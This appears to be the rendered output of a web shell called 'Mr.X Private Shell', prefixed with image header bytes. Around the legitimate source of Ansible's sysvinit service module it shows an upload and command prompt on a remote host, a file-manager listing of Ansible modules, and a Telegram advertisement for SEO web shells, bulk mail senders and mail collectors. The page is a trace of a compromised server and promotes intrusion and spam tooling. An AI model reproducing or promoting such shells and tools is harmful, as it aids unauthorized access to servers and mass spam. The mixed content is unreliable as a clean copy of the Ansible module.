����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-
# (c) 2017, Brian Coca <bcoca@ansible.com>
# (c) 2017, Adam Miller <admiller@redhat.com>
# (c) 2017 Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type


DOCUMENTATION = '''
module: sysvinit
author:
    - "Ansible Core Team"
version_added: "2.6"
short_description:  Manage SysV services.
description:
    - Controls services on target hosts that use the SysV init system.
options:
    name:
        required: true
        description:
            - Name of the service.
        type: str
        aliases: ['service']
    state:
        choices: [ 'started', 'stopped', 'restarted', 'reloaded' ]
        description:
            - C(started)/C(stopped) are idempotent actions that will not run commands unless necessary.
              Not all init scripts support C(restarted) nor C(reloaded) natively, so these will both trigger a stop and start as needed.
        type: str
    enabled:
        type: bool
        description:
            - Whether the service should start on boot. B(At least one of state and enabled are required.)
    sleep:
        default: 1
        description:
            - If the service is being C(restarted) or C(reloaded) then sleep this many seconds between the stop and start command.
              This helps to workaround badly behaving services.
        type: int
    pattern:
        description:
            - A substring to look for as would be found in the output of the I(ps) command as a stand-in for a status result.
            - If the string is found, the service will be assumed to be running.
            - "This option is mainly for use with init scripts that don't support the 'status' option."
        type: str
    runlevels:
        description:
            - The runlevels this script should be enabled/disabled from.
            - Use this to override the defaults set by the package or init script itself.
        type: list
        elements: str
    arguments:
        description:
            - Additional arguments provided on the command line that some init scripts accept.
        type: str
        aliases: [ 'args' ]
    daemonize:
        type: bool
        description:
            - Have the module daemonize as the service itself might not do so properly.
            - This is useful with badly written init scripts or daemons, which
              commonly manifests as the task hanging as it is still holding the
              tty or the service dying when the task is over as the connection
              closes the session.
        default: no
extends_documentation_fragment: action_common_attributes
attributes:
    check_mode:
        support: full
    diff_mode:
        support: none
    platform:
        platforms: posix
notes:
    - One option other than name is required.
    - The service names might vary by specific OS/distribution
requirements:
    - That the service managed has a corresponding init script.
'''

EXAMPLES = '''
- name: Make sure apache2 is started
  ansible.builtin.sysvinit:
      name: apache2
      state: started
      enabled: yes

- name: Make sure apache2 is started on runlevels 3 and 5
  ansible.builtin.sysvinit:
      name: apache2
      state: started
      enabled: yes
      runlevels:
        - 3
        - 5
'''

RETURN = r'''
results:
    description: results from actions taken
    returned: always
    type: complex
    sample: {
            "attempts": 1,
            "changed": true,
            "name": "apache2",
            "status": {
                "enabled": {
                    "changed": true,
                    "rc": 0,
                    "stderr": "",
                    "stdout": ""
                },
                "stopped": {
                    "changed": true,
                    "rc": 0,
                    "stderr": "",
                    "stdout": "Stopping web server: apache2.\n"
                }
            }
        }
'''

import re
from time import sleep
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.service import sysv_is_enabled, get_sysv_script, sysv_exists, fail_if_missing, get_ps, daemonize


def main():

    module = AnsibleModule(
        argument_spec=dict(
            name=dict(required=True, type='str', aliases=['service']),
            state=dict(choices=['started', 'stopped', 'restarted', 'reloaded'], type='str'),
            enabled=dict(type='bool'),
            sleep=dict(type='int', default=1),
            pattern=dict(type='str'),
            arguments=dict(type='str', aliases=['args']),
            runlevels=dict(type='list', elements='str'),
            daemonize=dict(type='bool', default=False),
        ),
        supports_check_mode=True,
        required_one_of=[['state', 'enabled']],
    )

    name = module.params['name']
    action = module.params['state']
    enabled = module.params['enabled']
    runlevels = module.params['runlevels']
    pattern = module.params['pattern']
    sleep_for = module.params['sleep']
    rc = 0
    out = err = ''
    result = {
        'name': name,
        'changed': False,
        'status': {}
    }

    # ensure service exists, get script name
    fail_if_missing(module, sysv_exists(name), name)
    script = get_sysv_script(name)

    # locate binaries for service management
    paths = ['/sbin', '/usr/sbin', '/bin', '/usr/bin']
    binaries = ['chkconfig', 'update-rc.d', 'insserv', 'service']

    # Keeps track of the service status for various runlevels because we can
    # operate on multiple runlevels at once
    runlevel_status = {}

    location = {}
    for binary in binaries:
        location[binary] = module.get_bin_path(binary, opt_dirs=paths)

    # figure out enable status
    if runlevels:
        for rl in runlevels:
            runlevel_status.setdefault(rl, {})
            runlevel_status[rl]["enabled"] = sysv_is_enabled(name, runlevel=rl)
    else:
        runlevel_status["enabled"] = sysv_is_enabled(name)

    # figure out started status, everyone does it different!
    is_started = False
    worked = False

    # user knows other methods fail and supplied pattern
    if pattern:
        worked = is_started = get_ps(module, pattern)
    else:
        if location.get('service'):
            # standard tool that has been 'destandarized' by reimplementation in other OS/distros
            cmd = '%s %s status' % (location['service'], name)
        elif script:
            # maybe script implements status (not LSB)
            cmd = '%s status' % script
        else:
            module.fail_json(msg="Unable to determine service status")

        (rc, out, err) = module.run_command(cmd)
        if not rc == -1:
            # special case
            if name == 'iptables' and "ACCEPT" in out:
                worked = True
                is_started = True

            # check output messages, messy but sadly more reliable than rc
            if not worked and out.count('\n') <= 1:

                cleanout = out.lower().replace(name.lower(), '')

                for stopped in ['stop', 'is dead ', 'dead but ', 'could not access pid file', 'inactive']:
                    if stopped in cleanout:
                        worked = True
                        break

                if not worked:
                    for started_status in ['run', 'start', 'active']:
                        if started_status in cleanout and "not " not in cleanout:
                            is_started = True
                            worked = True
                            break

            # hope rc is not lying to us, use often used 'bad' returns
            if not worked and rc in [1, 2, 3, 4, 69]:
                worked = True

        if not worked:
            # hail mary
            if rc == 0:
                is_started = True
                worked = True
            # ps for luck, can only assure positive match
            elif get_ps(module, name):
                is_started = True
                worked = True
                module.warn("Used ps output to match service name and determine it is up, this is very unreliable")

    if not worked:
        module.warn("Unable to determine if service is up, assuming it is down")

    ###########################################################################
    # BEGIN: Enable/Disable
    result['status'].setdefault('enabled', {})
    result['status']['enabled']['changed'] = False
    result['status']['enabled']['rc'] = None
    result['status']['enabled']['stdout'] = None
    result['status']['enabled']['stderr'] = None
    if runlevels:
        result['status']['enabled']['runlevels'] = runlevels
        for rl in runlevels:
            if enabled != runlevel_status[rl]["enabled"]:
                result['changed'] = True
                result['status']['enabled']['changed'] = True

        if not module.check_mode and result['changed']:
            # Perform enable/disable here
            if enabled:
                if location.get('update-rc.d'):
                    (rc, out, err) = module.run_command("%s %s enable %s" % (location['update-rc.d'], name, ' '.join(runlevels)))
                elif location.get('chkconfig'):
                    (rc, out, err) = module.run_command("%s --level %s %s on" % (location['chkconfig'], ''.join(runlevels), name))
            else:
                if location.get('update-rc.d'):
                    (rc, out, err) = module.run_command("%s %s disable %s" % (location['update-rc.d'], name, ' '.join(runlevels)))
                elif location.get('chkconfig'):
                    (rc, out, err) = module.run_command("%s --level %s %s off" % (location['chkconfig'], ''.join(runlevels), name))
    else:
        if enabled is not None and enabled != runlevel_status["enabled"]:
            result['changed'] = True
            result['status']['enabled']['changed'] = True

        if not module.check_mode and result['changed']:
            # Perform enable/disable here
            if enabled:
                if location.get('update-rc.d'):
                    (rc, out, err) = module.run_command("%s %s defaults" % (location['update-rc.d'], name))
                elif location.get('chkconfig'):
                    (rc, out, err) = module.run_command("%s %s on" % (location['chkconfig'], name))
            else:
                if location.get('update-rc.d'):
                    (rc, out, err) = module.run_command("%s %s disable" % (location['update-rc.d'], name))
                elif location.get('chkconfig'):
                    (rc, out, err) = module.run_command("%s %s off" % (location['chkconfig'], name))

    # Assigned above, might be useful is something goes sideways
    if not module.check_mode and result['status']['enabled']['changed']:
        result['status']['enabled']['rc'] = rc
        result['status']['enabled']['stdout'] = out
        result['status']['enabled']['stderr'] = err
        rc, out, err = None, None, None

        if "illegal runlevel specified" in result['status']['enabled']['stderr']:
            module.fail_json(msg="Illegal runlevel specified for enable operation on service %s" % name, **result)
    # END: Enable/Disable
    ###########################################################################

    ###########################################################################
    # BEGIN: state
    result['status'].setdefault(module.params['state'], {})
    result['status'][module.params['state']]['changed'] = False
    result['status'][module.params['state']]['rc'] = None
    result['status'][module.params['state']]['stdout'] = None
    result['status'][module.params['state']]['stderr'] = None
    if action:
        action = re.sub(r'p?ed$', '', action.lower())

        def runme(doit):

            args = module.params['arguments']
            cmd = "%s %s %s" % (script, doit, "" if args is None else args)

            # how to run
            if module.params['daemonize']:
                (rc, out, err) = daemonize(module, cmd)
            else:
                (rc, out, err) = module.run_command(cmd)
            # FIXME: ERRORS

            if rc != 0:
                module.fail_json(msg="Failed to %s service: %s" % (action, name), rc=rc, stdout=out, stderr=err)

            return (rc, out, err)

        if action == 'restart':
            result['changed'] = True
            result['status'][module.params['state']]['changed'] = True
            if not module.check_mode:

                # cannot rely on existing 'restart' in init script
                for dothis in ['stop', 'start']:
                    (rc, out, err) = runme(dothis)
                    if sleep_for:
                        sleep(sleep_for)

        elif is_started != (action == 'start'):
            result['changed'] = True
            result['status'][module.params['state']]['changed'] = True
            if not module.check_mode:
                rc, out, err = runme(action)

        elif is_started == (action == 'stop'):
            result['changed'] = True
            result['status'][module.params['state']]['changed'] = True
            if not module.check_mode:
                rc, out, err = runme(action)

        if not module.check_mode and result['status'][module.params['state']]['changed']:
            result['status'][module.params['state']]['rc'] = rc
            result['status'][module.params['state']]['stdout'] = out
            result['status'][module.params['state']]['stderr'] = err
            rc, out, err = None, None, None
    # END: state
    ###########################################################################

    module.exit_json(**result)


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
_include.py File 3.06 KB 0644
add_host.py File 3.82 KB 0644
apt.py File 57.4 KB 0644
apt_key.py File 17.45 KB 0644
apt_repository.py File 28.39 KB 0644
assemble.py File 8.76 KB 0644
assert.py File 2.75 KB 0644
async_status.py File 4.29 KB 0644
async_wrapper.py File 11.43 KB 0644
blockinfile.py File 13.29 KB 0644
command.py File 12.64 KB 0644
copy.py File 34.75 KB 0644
cron.py File 25.57 KB 0644
debconf.py File 7.55 KB 0644
debug.py File 2.89 KB 0644
dnf.py File 58.16 KB 0644
dpkg_selections.py File 2.35 KB 0644
expect.py File 8.33 KB 0644
fail.py File 1.67 KB 0644
fetch.py File 4.17 KB 0644
file.py File 39.93 KB 0644
find.py File 18.73 KB 0644
gather_facts.py File 2.5 KB 0644
get_url.py File 26.22 KB 0644
getent.py File 5.56 KB 0644
git.py File 55.22 KB 0644
group.py File 19.57 KB 0644
group_by.py File 2.41 KB 0644
hostname.py File 28.12 KB 0644
import_playbook.py File 2.06 KB 0644
import_role.py File 3.27 KB 0644
import_tasks.py File 2.14 KB 0644
include_role.py File 4.15 KB 0644
include_tasks.py File 2.64 KB 0644
include_vars.py File 6.45 KB 0644
iptables.py File 32.27 KB 0644
known_hosts.py File 13.5 KB 0644
lineinfile.py File 23.39 KB 0644
meta.py File 5.84 KB 0644
package.py File 3.33 KB 0644
package_facts.py File 17.71 KB 0644
pause.py File 3.44 KB 0644
ping.py File 2.32 KB 0644
pip.py File 30 KB 0644
raw.py File 3.57 KB 0644
reboot.py File 4.64 KB 0644
replace.py File 11.19 KB 0644
rpm_key.py File 8.48 KB 0644
script.py File 4.03 KB 0644
service.py File 63.85 KB 0644
service_facts.py File 16.73 KB 0644
set_fact.py File 5.62 KB 0644
set_stats.py File 2.6 KB 0644
setup.py File 10.79 KB 0644
shell.py File 6.57 KB 0644
slurp.py File 3.19 KB 0644
stat.py File 19.62 KB 0644
subversion.py File 13.22 KB 0644
systemd.py File 22.82 KB 0644
systemd_service.py File 22.82 KB 0644
sysvinit.py File 13.47 KB 0644
tempfile.py File 3.42 KB 0644
template.py File 3.1 KB 0644
unarchive.py File 42.79 KB 0644
uri.py File 27.78 KB 0644
user.py File 114.18 KB 0644
validate_argument_spec.py File 2.99 KB 0644
wait_for.py File 25.91 KB 0644
wait_for_connection.py File 3.38 KB 0644
yum.py File 72.05 KB 0644
yum_repository.py File 24.82 KB 0644